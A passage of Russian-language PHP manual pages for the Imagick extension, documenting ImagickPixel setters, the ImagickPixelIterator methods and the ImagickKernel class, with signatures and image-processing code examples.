ImagickPixel::setColorCount — Устанавливает количество цветов, связанных с этим цветом

Описание

public ImagickPixel::setcolorcount(int $colorCount): bool

Устанавливает количество цветов, связанных с этим цветом.

Список параметров

colorCount

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает нормализованное значение одного из каналов

  • « ImagickPixel::setColorCount
  • ImagickPixel::setColorValueQuantum »
  • PHP Manual
  • ImagickPixel
  • Устанавливает нормализованное значение одного из каналов

ImagickPixel::setColorValue

(PECL imagick 2, PECL imagick 3)

ImagickPixel::setColorValue — Устанавливает нормализованное значение одного из каналов

Описание

public ImagickPixel::setColorValue(int $color, float $value): bool

Устанавливает значение указанного канала текущего объекта, при условии того, что новое значение находится между 0 и 1. Эта функция может быть использована для установки прозрачности канала объекта ImagickPixel.

Список параметров

color

Одна из констант цвета Imagick, т.е. \Imagick::COLOR_GREEN или \Imagick::COLOR_ALPHA.

value

Значение для установки в этом канале, в пределах от 0 до 1.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::setColorValue()

<?php

$color = new \ImagickPixel('firebrick');

$color->setColorValue(Imagick::COLOR_ALPHA, 0.5);

print_r($color->getcolor(true));
?>

Результат выполнения данного примера:

Array
(
    [r] => 0.69803921568627
    [g] => 0.13333333333333
    [b] => 0.13333333333333
    [a] => 0.50000762951095
)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает квантовое значение цветового элемента ImagickPixel

  • « ImagickPixel::setColorValue
  • ImagickPixel::setHSL »
  • PHP Manual
  • ImagickPixel
  • Устанавливает квантовое значение цветового элемента ImagickPixel

ImagickPixel::setColorValueQuantum

(PECL imagick 2 >=2.3.0, PECL imagick 3)

ImagickPixel::setColorValueQuantum — Устанавливает квантовое значение цветового элемента ImagickPixel

Описание

public ImagickPixel::setColorValueQuantum(int $color, int|float $value): bool

Устанавливает квантовое значение цветового элемента ImagickPixel.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

color

Какой цветовой элемент установить, например, \Imagick::COLOR_GREEN.

value

Квантовое значение для элемента цвета. Это должно быть число с плавающей точкой, если ImageMagick был скомпилирован с HDRI, иначе целое число в диапазоне от 0 до Imagick::getQuantum().

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickPixel::setColorValueQuantum()

<?php
function setColorValueQuantum() {
$image = new \Imagick();

$quantumRange = $image->getQuantumRange();

$draw = new \ImagickDraw();
$color = new \ImagickPixel('blue');
$color->setcolorValueQuantum(\Imagick::COLOR_RED, 128 * $quantumRange['quantumRangeLong'] / 256);

$draw->setstrokewidth(1.0);
$draw->setStrokeColor($color);
$draw->setFillColor($color);
$draw->rectangle(200, 200, 300, 300);

$image->newImage(500, 500, "SteelBlue2");
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Установка нормализованного HSL цвета

  • « ImagickPixel::setColorValueQuantum
  • ImagickPixel::setIndex »
  • PHP Manual
  • ImagickPixel
  • Установка нормализованного HSL цвета

ImagickPixel::setHSL

(PECL imagick 2, PECL imagick 3)

ImagickPixel::setHSL — Установка нормализованного HSL цвета

Описание

public ImagickPixel::setHSL(float $hue, float $saturation, float $luminosity): bool

Устанавливает цвет в объекте ImagickPixel, используя нормализованные значения оттенка, насыщенности и яркости.

Список параметров

hue

Нормализованное значение оттенка, в виде значения круговой радуги (между 0 и 1), где нулевым значением будет красный цвет.

saturation

Нормализованное значение насыщенности, где 1 означает полное насыщение.

luminosity

Нормализованное значение яркости, по шкале от 0 (чёрный) до 1 (белый), при установленном HS в значении 0.5.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickPixel::setHSL()

<?php

//Создание почти чистого красного цвета
$color = new ImagickPixel('rgb(90%, 10%, 10%)');

//Получение значений HSL
$colorInfo = $color->getHSL();

//Поворачиваем оттенок на 180 градусов
$newHue = $colorInfo['hue'] + 0.5;
if ($newHue > 1) {
$newHue = $newHue - 1;
}

//Устанавливаем ImagickPixel в новый цвет
$colorInfo = $color->setHSL($newHue, $colorInfo['saturation'], $colorInfo['luminosity']);

//Проверяем, что новый цвет является голубым/зелёным
$colorInfo = $color->getcolor();
print_r($colorInfo);

?>

Результат выполнения данного примера:

Array
(
    [r] => 26
    [g] => 230
    [b] => 230
    [a] => 255
)

Примечания

Замечание:

Доступно с версии 6.2.9 и выше библиотеки ImageMagick.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает индекс цветовой карты пиксельной палочки

  • « ImagickPixel::setHSL
  • ImagickPixelIterator »
  • PHP Manual
  • ImagickPixel
  • Устанавливает индекс цветовой карты пиксельной палочки

ImagickPixel::setIndex

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickPixel::setIndex — Устанавливает индекс цветовой карты пиксельной палочки

Описание

public ImagickPixel::setIndex(int $index): bool

Устанавливает индекс цветовой карты пиксельной палочки.

Список параметров

index

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Класс ImagickPixelIterator

(PECL imagick 2, PECL imagick 3)

Обзор классов

class ImagickPixelIterator {
public clear(): bool
public __construct(Imagick $wand)
public destroy(): bool
public getCurrentIteratorRow(): array
public getIteratorRow(): int
public getNextIteratorRow(): array
public getPreviousIteratorRow(): array
public newPixelIterator(Imagick $wand): bool
public newPixelRegionIterator(
Imagick $wand,
int $x,
int $y,
int $columns,
int $rows
): bool
public resetIterator(): bool
public setIteratorFirstRow(): bool
public setIteratorLastRow(): bool
public setIteratorRow(int $row): bool
public syncIterator(): bool
}

Содержание

  • ImagickPixelIterator::clear — Очищает ресурсы, связанные с PixelIterator
  • ImagickPixelIterator::__construct — Конструктор ImagickPixelIterator
  • ImagickPixelIterator::destroy — Освобождает ресурсы, связанные с PixelIterator
  • ImagickPixelIterator::getCurrentIteratorRow — Возвращает текущий ряд объекта ImagickPixel
  • ImagickPixelIterator::getIteratorRow — Возвращает текущий пиксель итератора ряда
  • ImagickPixelIterator::getNextIteratorRow — Возвращает следующий ряд итератора пикселей
  • ImagickPixelIterator::getPreviousIteratorRow — Возвращает предыдущий ряд
  • ImagickPixelIterator::newPixelIterator — Возвращает новый итератор пикселей
  • ImagickPixelIterator::newPixelRegionIterator — Возвращает новый итератор пикселей
  • ImagickPixelIterator::resetIterator — Сбрасывает итератор пикселей
  • ImagickPixelIterator::setIteratorFirstRow — Устанавливает итератор пикселей на первый ряд
  • ImagickPixelIterator::setIteratorLastRow — Устанавливает итератор пикселей на последний ряд
  • ImagickPixelIterator::setIteratorRow — Устанавливает номер ряда в итераторе пикселей
  • ImagickPixelIterator::syncIterator — Синхронизирует итератор пикселей

User Contributed Notes

There are no user contributed notes for this page.


Очищает ресурсы, связанные с PixelIterator

  • « ImagickPixelIterator
  • ImagickPixelIterator::__construct »
  • PHP Manual
  • ImagickPixelIterator
  • Очищает ресурсы, связанные с PixelIterator

ImagickPixelIterator::clear

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::clear — Очищает ресурсы, связанные с PixelIterator

Описание

public ImagickPixelIterator::clear(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Очищает ресурсы, связанные с PixelIterator.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickPixelIterator::clear()

<?php
function clear($imagePath) {
$imagick = new \Imagick(realpath($imagePath));

$imageIterator = $imagick->getPixelRegionIterator(100, 100, 250, 200);

/* Походим по строкам пикселей */
foreach ($imageIterator as $pixels) {
/** @var $pixel \ImagickPixel */
/* Походим по пикселям в строке (столбцы) */
foreach ($pixels as $column => $pixel) {
if ($column % 2) {
/* Красим каждый второй пиксель черным*/
$pixel->setColor("rgba(0, 0, 0, 0)");
}
}
/* Синхронизируем итератор. Это необходимо для делать на каждой итерации */
$imageIterator->syncIterator();
}

$imageIterator->clear();

header("Content-Type: image/jpg");
echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Конструктор ImagickPixelIterator

  • « ImagickPixelIterator::clear
  • ImagickPixelIterator::destroy »
  • PHP Manual
  • ImagickPixelIterator
  • Конструктор ImagickPixelIterator

ImagickPixelIterator::__construct

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::__construct — Конструктор ImagickPixelIterator

Описание

public ImagickPixelIterator::__construct(Imagick $wand)
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Конструктор ImagickPixelIterator

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickPixelIterator::construct()

<?php
function construct($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imageIterator = new \ImagickPixelIterator($imagick);

/* Походим по строкам пикселей */
foreach ($imageIterator as $pixels) {
/* Походим по пикселям в строке (столбцы) */
foreach ($pixels as $column => $pixel) {
/** @var $pixel \ImagickPixel */
if ($column % 2) {
/* Красим каждый второй пиксель черным*/
$pixel->setColor("rgba(0, 0, 0, 0)");
}
}
/* Синхронизируем итератор. Это необходимо для делать на каждой итерации */
$imageIterator->syncIterator();
}

header("Content-Type: image/jpg");
echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Освобождает ресурсы, связанные с PixelIterator

  • « ImagickPixelIterator::__construct
  • ImagickPixelIterator::getCurrentIteratorRow »
  • PHP Manual
  • ImagickPixelIterator
  • Освобождает ресурсы, связанные с PixelIterator

ImagickPixelIterator::destroy

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::destroy — Освобождает ресурсы, связанные с PixelIterator

Описание

public ImagickPixelIterator::destroy(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Освобождает ресурсы, связанные с PixelIterator.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий ряд объекта ImagickPixel

  • « ImagickPixelIterator::destroy
  • ImagickPixelIterator::getIteratorRow »
  • PHP Manual
  • ImagickPixelIterator
  • Возвращает текущий ряд объекта ImagickPixel

ImagickPixelIterator::getCurrentIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::getCurrentIteratorRow — Возвращает текущий ряд объекта ImagickPixel

Описание

public ImagickPixelIterator::getCurrentIteratorRow(): array
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает текущий ряд в виде массива объектов ImagickPixel из пиксельного итератора.

Возвращаемые значения

Возвращает ряд в виде массива объектов ImagickPixel, который сам может быть итерирован.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий пиксель итератора ряда

  • « ImagickPixelIterator::getCurrentIteratorRow
  • ImagickPixelIterator::getNextIteratorRow »
  • PHP Manual
  • ImagickPixelIterator
  • Возвращает текущий пиксель итератора ряда

ImagickPixelIterator::getIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::getIteratorRow — Возвращает текущий пиксель итератора ряда

Описание

public ImagickPixelIterator::getIteratorRow(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает текущий пиксель итератора ряда.

Возвращаемые значения

Возвращает смещение ряда в виде числа, в случае возникновения ошибки выбрасывает исключение ImagickPixelIteratorException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает следующий ряд итератора пикселей

  • « ImagickPixelIterator::getIteratorRow
  • ImagickPixelIterator::getPreviousIteratorRow »
  • PHP Manual
  • ImagickPixelIterator
  • Возвращает следующий ряд итератора пикселей

ImagickPixelIterator::getNextIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::getNextIteratorRow — Возвращает следующий ряд итератора пикселей

Описание

public ImagickPixelIterator::getNextIteratorRow(): array
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает следующий ряд в виде массива пикселей из итератора пикселей.

Возвращаемые значения

Возвращает следующий ряд в виде массива объектов ImagickPixel, в случае возникновения ошибки выдаст исключение ImagickPixelIteratorException.

Примеры

Пример #1 Пример использования ImagickPixelIterator::getNextIteratorRow()

<?php
function getNextIteratorRow($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imageIterator = $imagick->getPixelIterator();

$count = 0;
while ($pixels = $imageIterator->getNextIteratorRow()) {
if (($count % 3) == 0) {
/* Походим по пикселям в строке (столбцы) */
foreach ($pixels as $column => $pixel) {
/** @var $pixel \ImagickPixel */
if ($column % 2) {
/* Красим каждый второй пиксель черным*/
$pixel->setColor("rgba(0, 0, 0, 0)");
}
}
/* Синхронизируем итератор. Это необходимо для делать на каждой итерации */
$imageIterator->syncIterator();
}

$count += 1;
}

header("Content-Type: image/jpg");
echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает предыдущий ряд

  • « ImagickPixelIterator::getNextIteratorRow
  • ImagickPixelIterator::newPixelIterator »
  • PHP Manual
  • ImagickPixelIterator
  • Возвращает предыдущий ряд

ImagickPixelIterator::getPreviousIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::getPreviousIteratorRow — Возвращает предыдущий ряд

Описание

public ImagickPixelIterator::getPreviousIteratorRow(): array
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает предыдущий ряд в виде массива пикселей из итератора пикселей.

Возвращаемые значения

Возвращает предыдущий ряд в виде массива объектов ImagickPixel, в случае возникновения ошибки выбрасывает исключение ImagickPixelIteratorException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает новый итератор пикселей

  • « ImagickPixelIterator::getPreviousIteratorRow
  • ImagickPixelIterator::newPixelRegionIterator »
  • PHP Manual
  • ImagickPixelIterator
  • Возвращает новый итератор пикселей

ImagickPixelIterator::newPixelIterator

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::newPixelIterator — Возвращает новый итератор пикселей

Описание

public ImagickPixelIterator::newPixelIterator(Imagick $wand): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает новый итератор пикселей.

Возвращаемые значения

В случае успешной работы возвращает true. Исключение ImagickPixelIteratorException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает новый итератор пикселей

  • « ImagickPixelIterator::newPixelIterator
  • ImagickPixelIterator::resetIterator »
  • PHP Manual
  • ImagickPixelIterator
  • Возвращает новый итератор пикселей

ImagickPixelIterator::newPixelRegionIterator

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::newPixelRegionIterator — Возвращает новый итератор пикселей

Описание

public ImagickPixelIterator::newPixelRegionIterator(
Imagick $wand,
int $x,
int $y,
int $columns,
int $rows
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает новый итератор пикселей.

Список параметров

wand

x

y

columns

rows

Возвращаемые значения

Возвращает новый объект ImagickPixelIterator в случае успешного выполнения; в противном случае выбрасывает исключение ImagickPixelIteratorException.

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает итератор пикселей

  • « ImagickPixelIterator::newPixelRegionIterator
  • ImagickPixelIterator::setIteratorFirstRow »
  • PHP Manual
  • ImagickPixelIterator
  • Сбрасывает итератор пикселей

ImagickPixelIterator::resetIterator

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::resetIterator — Сбрасывает итератор пикселей

Описание

public ImagickPixelIterator::resetIterator(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Сбрасывает итератор пикселей. Используйте совместно с ImagickPixelIterator::getNextIteratorRow() для перебора всех пикселей в контейнере пикселей.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickPixelIterator::resetIterator()

<?php
function resetIterator($imagePath) {

$imagick = new \Imagick(realpath($imagePath));

$imageIterator = $imagick->getPixelIterator();

/* Походим по строкам пикселей */
foreach ($imageIterator as $pixels) {
/* Походим по пикселям в строке (столбцы) */
foreach ($pixels as $column => $pixel) {
/** @var $pixel \ImagickPixel */
if ($column % 2) {

/* Делаем каждый второй пиксель на 25% красным*/
$pixel->setColorValue(\Imagick::COLOR_RED, 64);
}
}
/* Синхронизируем итератор. Это необходимо для делать на каждой итерации */
$imageIterator->syncIterator();
}

$imageIterator->resetiterator();

/* Походим по строкам пикселей */
foreach ($imageIterator as $pixels) {
/* Походим по пикселям в строке (столбцы) */
foreach ($pixels as $column => $pixel) {
/** @var $pixel \ImagickPixel */
if ($column % 3) {
$pixel->setColorValue(\Imagick::COLOR_BLUE, 64); /* Делаем каждый второй пиксель немного синим*/
//$pixel->setColor("rgba(0, 0, 128, 0)"); /* Paint every second pixel black*/
}
}
$imageIterator->syncIterator(); /* Синхронизируем итератор. Это необходимо для делать на каждой итерации */
}

$imageIterator->clear();

header("Content-Type: image/jpg");
echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает итератор пикселей на первый ряд

  • « ImagickPixelIterator::resetIterator
  • ImagickPixelIterator::setIteratorLastRow »
  • PHP Manual
  • ImagickPixelIterator
  • Устанавливает итератор пикселей на первый ряд

ImagickPixelIterator::setIteratorFirstRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::setIteratorFirstRow — Устанавливает итератор пикселей на первый ряд

Описание

public ImagickPixelIterator::setIteratorFirstRow(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает внутренний указатель итератора пикселей на первый ряд.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает итератор пикселей на последний ряд

  • « ImagickPixelIterator::setIteratorFirstRow
  • ImagickPixelIterator::setIteratorRow »
  • PHP Manual
  • ImagickPixelIterator
  • Устанавливает итератор пикселей на последний ряд

ImagickPixelIterator::setIteratorLastRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::setIteratorLastRow — Устанавливает итератор пикселей на последний ряд

Описание

public ImagickPixelIterator::setIteratorLastRow(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает внутренний указатель итератора пикселей на последний ряд.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает номер ряда в итераторе пикселей

  • « ImagickPixelIterator::setIteratorLastRow
  • ImagickPixelIterator::syncIterator »
  • PHP Manual
  • ImagickPixelIterator
  • Устанавливает номер ряда в итераторе пикселей

ImagickPixelIterator::setIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::setIteratorRow — Устанавливает номер ряда в итераторе пикселей

Описание

public ImagickPixelIterator::setIteratorRow(int $row): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает номер ряда в итераторе пикселей.

Список параметров

row

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickPixelIterator::setIteratorRow()

<?php
function setIteratorRow($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imageIterator = $imagick->getPixelRegionIterator(200, 100, 200, 200);

for ($x = 0; $x < 20; $x++) {
$imageIterator->setIteratorRow($x * 5);
$pixels = $imageIterator->getCurrentIteratorRow();
/* Походим по пикселям в строке (столбцы) */
foreach ($pixels as $pixel) {
/** @var $pixel \ImagickPixel */
/* Красим каждый второй пиксель черным*/
$pixel->setColor("rgba(0, 0, 0, 0)");
}

/* Синхронизируем итератор. Это необходимо для делать на каждой итерации */
$imageIterator->syncIterator();
}

header("Content-Type: image/jpg");
echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Синхронизирует итератор пикселей

  • « ImagickPixelIterator::setIteratorRow
  • ImagickKernel »
  • PHP Manual
  • ImagickPixelIterator
  • Синхронизирует итератор пикселей

ImagickPixelIterator::syncIterator

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::syncIterator — Синхронизирует итератор пикселей

Описание

public ImagickPixelIterator::syncIterator(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Синхронизирует итератор пикселей.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Класс ImagickKernel

(PECL imagick >= 3.3.0)

Введение

Обзор классов

class ImagickKernel {
/* Методы */
public addKernel(ImagickKernel $ImagickKernel): void
public addUnityKernel(float $scale): void
public static fromBuiltin(int $kernelType, string $kernelString): ImagickKernel
public static fromMatrix(array $matrix, array $origin = ?): ImagickKernel
public getMatrix(): array
public scale(float $scale, int $normalizeFlag = ?): void
public separate(): array
}

Содержание

  • ImagickKernel::addKernel — Присоединяет другое ядро к этому ядру
  • ImagickKernel::addUnityKernel — Добавляет ядро Unity в список ядер
  • ImagickKernel::fromBuiltIn — Создаёт ядро из встроенного ядра
  • ImagickKernel::fromMatrix — Создаёт ядро из двумерной матрицы значений
  • ImagickKernel::getMatrix — Получает 2d матрицу значений, используемых в этом ядре
  • ImagickKernel::scale — Масштабирует список ядер на заданную величину
  • ImagickKernel::separate — Разделяет связанный набор ядер и возвращает массив ImagickKernels

User Contributed Notes

There are no user contributed notes for this page.


Присоединяет другое ядро к этому ядру

  • « ImagickKernel
  • ImagickKernel::addUnityKernel »
  • PHP Manual
  • ImagickKernel
  • Присоединяет другое ядро к этому ядру

ImagickKernel::addKernel

(PECL imagick >= 3.3.0)

ImagickKernel::addKernel — Присоединяет другое ядро к этому ядру

Описание

public ImagickKernel::addKernel(ImagickKernel $ImagickKernel): void

Присоединяет другое ядро к этому ядру, чтобы позволить им обоим применяться в одной морфологии или функции фильтра. Возвращает новое объединённое ядро.

Список параметров

ImagickKernel

Возвращаемые значения

Примеры

Пример #1 Пример использования ImagickKernel::addKernel()

<?php
function addKernel($imagePath) {
$matrix1 = [
[-1, -1, -1],
[ 0, 0, 0],
[ 1, 1, 1],
];

$matrix2 = [
[-1, 0, 1],
[-1, 0, 1],
[-1, 0, 1],
];

$kernel1 = ImagickKernel::fromMatrix($matrix1);
$kernel2 = ImagickKernel::fromMatrix($matrix2);
$kernel1->addKernel($kernel2);

$imagick = new \Imagick(realpath($imagePath));
$imagick->filter($kernel1);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Добавляет ядро Unity в список ядер

  • « ImagickKernel::addKernel
  • ImagickKernel::fromBuiltIn »
  • PHP Manual
  • ImagickKernel
  • Добавляет ядро Unity в список ядер

ImagickKernel::addUnityKernel

(PECL imagick >= 3.3.0)

ImagickKernel::addUnityKernel — Добавляет ядро Unity в список ядер

Описание

public ImagickKernel::addUnityKernel(float $scale): void

Добавляет указанное количество свёрточного ядра 'Unity' к указанному предварительно масштабированному и нормализованному ядру. Это фактически добавляет то количество исходного изображения в получающееся ядро свёртки. В результате получается преобразование определённых ядер в смешанные мягкие пятна, нерезкие ядра или в заострённые ядра.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования ImagickKernel::addUnityKernel()

<?php

function renderKernelTable($matrix) {
$output = "<table class='infoTable'>";

foreach ($matrix as $row) {
$output .= "<tr>";
foreach ($row as $cell) {
$output .= "<td style='text-align:left'>";
if ($cell === false) {
$output .= "false";
}
else {
$output .= round($cell, 3);
}
$output .= "</td>";
}
$output .= "</tr>";
}

$output .= "</table>";

return $output;
}

$matrix = [
[-1, 0, -1],
[ 0, 4, 0],
[-1, 0, -1],
];

$kernel = \ImagickKernel::fromMatrix($matrix);
$kernel->scale(1, \Imagick::NORMALIZE_KERNEL_VALUE);
$output = "Перед добавлением unity ядра: <br/>";
$output .= renderKernelTable($kernel->getMatrix());
$kernel->addUnityKernel(0.5);
$output .= "После добавления unity ядра: <br/>";
$output .= renderKernelTable($kernel->getMatrix());

$kernel->scale(1, \Imagick::NORMALIZE_KERNEL_VALUE);
$output .= "После перенормировки ядра: <br/>";
$output .= renderKernelTable($kernel->getMatrix());

echo $output;

?>

Пример #2 Пример использования ImagickKernel::addUnityKernel()

<?php
function addUnityKernel($imagePath) {

$matrix = [
[-1, 0, -1],
[ 0, 4, 0],
[-1, 0, -1],
];

$kernel = ImagickKernel::fromMatrix($matrix);

$kernel->scale(4, \Imagick::NORMALIZE_KERNEL_VALUE);
$kernel->addUnityKernel(0.5);

$imagick = new \Imagick(realpath($imagePath));
$imagick->filter($kernel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт ядро из встроенного ядра

  • « ImagickKernel::addUnityKernel
  • ImagickKernel::fromMatrix »
  • PHP Manual
  • ImagickKernel
  • Создаёт ядро из встроенного ядра

ImagickKernel::fromBuiltIn

(PECL imagick >= 3.3.0)

ImagickKernel::fromBuiltIn — Создаёт ядро из встроенного ядра

Описание

public static ImagickKernel::fromBuiltin(int $kernelType, string $kernelString): ImagickKernel

Создаёт ядро из встроенного ядра. Смотрите примеры на http://www.imagemagick.org/Usage/morphology/#kernel. В настоящее время символы "вращения" не поддерживаются. Пример: $diamondKernel = ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DIAMOND, "2");

Список параметров

kerneltype

Тип ядра для сборки, например, \Imagick::KERNEL_DIAMOND

kernelString

Строка, описывающая параметры, например, "4,2.5"

Возвращаемые значения

Примеры

Пример #1 Пример использования ImagickKernel::fromBuiltin()

<?php

function renderKernel(ImagickKernel $imagickKernel) {
$matrix = $imagickKernel->getMatrix();

$imageMargin = 20;

$tileSize = 20;
$tileSpace = 4;
$shadowSigma = 4;
$shadowDropX = 20;
$shadowDropY = 0;

$radius = ($tileSize / 2) * 0.9;

$rows = count($matrix);
$columns = count($matrix[0]);

$imagickDraw = new \ImagickDraw();

$imagickDraw->setFillColor('#afafaf');
$imagickDraw->setStrokeColor('none');

$imagickDraw->translate($imageMargin, $imageMargin);
$imagickDraw->push();

ksort($matrix);

foreach ($matrix as $row) {
ksort($row);
$imagickDraw->push();
foreach ($row as $cell) {
if ($cell !== false) {
$color = intval(255 * $cell);
$colorString = sprintf("rgb(%f, %f, %f)", $color, $color, $color);
$imagickDraw->setFillColor($colorString);
$imagickDraw->rectangle(0, 0, $tileSize, $tileSize);
}
$imagickDraw->translate(($tileSize + $tileSpace), 0);
}
$imagickDraw->pop();
$imagickDraw->translate(0, ($tileSize + $tileSpace));
}

$imagickDraw->pop();

$width = ($columns * $tileSize) + (($columns - 1) * $tileSpace);
$height = ($rows * $tileSize) + (($rows - 1) * $tileSpace);

$imagickDraw->push();
$imagickDraw->translate($width/2 , $height/2);
$imagickDraw->setFillColor('rgba(0, 0, 0, 0)');
$imagickDraw->setStrokeColor('white');
$imagickDraw->circle(0, 0, $radius - 1, 0);
$imagickDraw->setStrokeColor('black');
$imagickDraw->circle(0, 0, $radius, 0);
$imagickDraw->pop();

$canvasWidth = $width + (2 * $imageMargin);
$canvasHeight = $height + (2 * $imageMargin);

$kernel = new \Imagick();
$kernel->newPseudoImage(
$canvasWidth,
$canvasHeight,
'canvas:none'
);

$kernel->setImageFormat('png');
$kernel->drawImage($imagickDraw);

/* создание тени на собственном слое */
$canvas = $kernel->clone();
$canvas->setImageBackgroundColor(new \ImagickPixel('rgb(0, 0, 0)'));
$canvas->shadowImage(100, $shadowSigma, $shadowDropX, $shadowDropY);

$canvas->setImagePage($canvasWidth, $canvasHeight, -5, -5);
$canvas->cropImage($canvasWidth, $canvasHeight, 0, 0);

/* накладывает исходный text_layer на shadow_layer */
$canvas->compositeImage($kernel, \Imagick::COMPOSITE_OVER, 0, 0);
$canvas->setImageFormat('png');

return $canvas;
}

function createFromBuiltin($kernelType, $kernelFirstTerm, $kernelSecondTerm, $kernelThirdTerm) {
$string = '';

if ($kernelFirstTerm != false && strlen(trim($kernelFirstTerm)) != 0) {
$string .= $kernelFirstTerm;

if ($kernelSecondTerm != false && strlen(trim($kernelSecondTerm)) != 0) {
$string .= ','.$kernelSecondTerm;
if ($kernelThirdTerm != false && strlen(trim($kernelThirdTerm)) != 0) {
$string .= ','.$kernelThirdTerm;
}
}
}

$kernel = ImagickKernel::fromBuiltIn(
$kernelType,
$string
);

return $kernel;
}

function fromBuiltin($kernelType, $kernelFirstTerm, $kernelSecondTerm, $kernelThirdTerm) {
$diamondKernel = createFromBuiltin($kernelType, $kernelFirstTerm, $kernelSecondTerm, $kernelThirdTerm);
$imagick = renderKernel($diamondKernel);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

fromBuiltin(\Imagick::KERNEL_DIAMOND, 2, false, false);

?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт ядро из двумерной матрицы значений

  • « ImagickKernel::fromBuiltIn
  • ImagickKernel::getMatrix »
  • PHP Manual
  • ImagickKernel
  • Создаёт ядро из двумерной матрицы значений

ImagickKernel::fromMatrix

(PECL imagick >= 3.3.0)

ImagickKernel::fromMatrix — Создаёт ядро из двумерной матрицы значений

Описание

public static ImagickKernel::fromMatrix(array $matrix, array $origin = ?): ImagickKernel

Создаёт ядро из двумерной матрицы значений. Каждое значение должно быть либо числом с плавающей запятой (если элемент должен использоваться), либо с 'false', если элемент следует пропустить. Для матриц нечётных размеров в обоих измерениях исходным пикселем по умолчанию будет центр ядра. Для всех других размеров ядра необходимо указать исходный пиксель.

Список параметров

array

Матрица (т.е. двумерный массив) значений, определяющих ядро. Каждый элемент должен быть либо числом с плавающей запятой, либо значением FALSE, если этот элемент не должен использоваться ядром.

array

Какой элемент ядра следует использовать в качестве исходного пикселя. Например, для матрицы 3x3, определяющей начало координат как [2, 2], будет указано, что нижний правый элемент должен быть исходным пикселем.

Возвращаемые значения

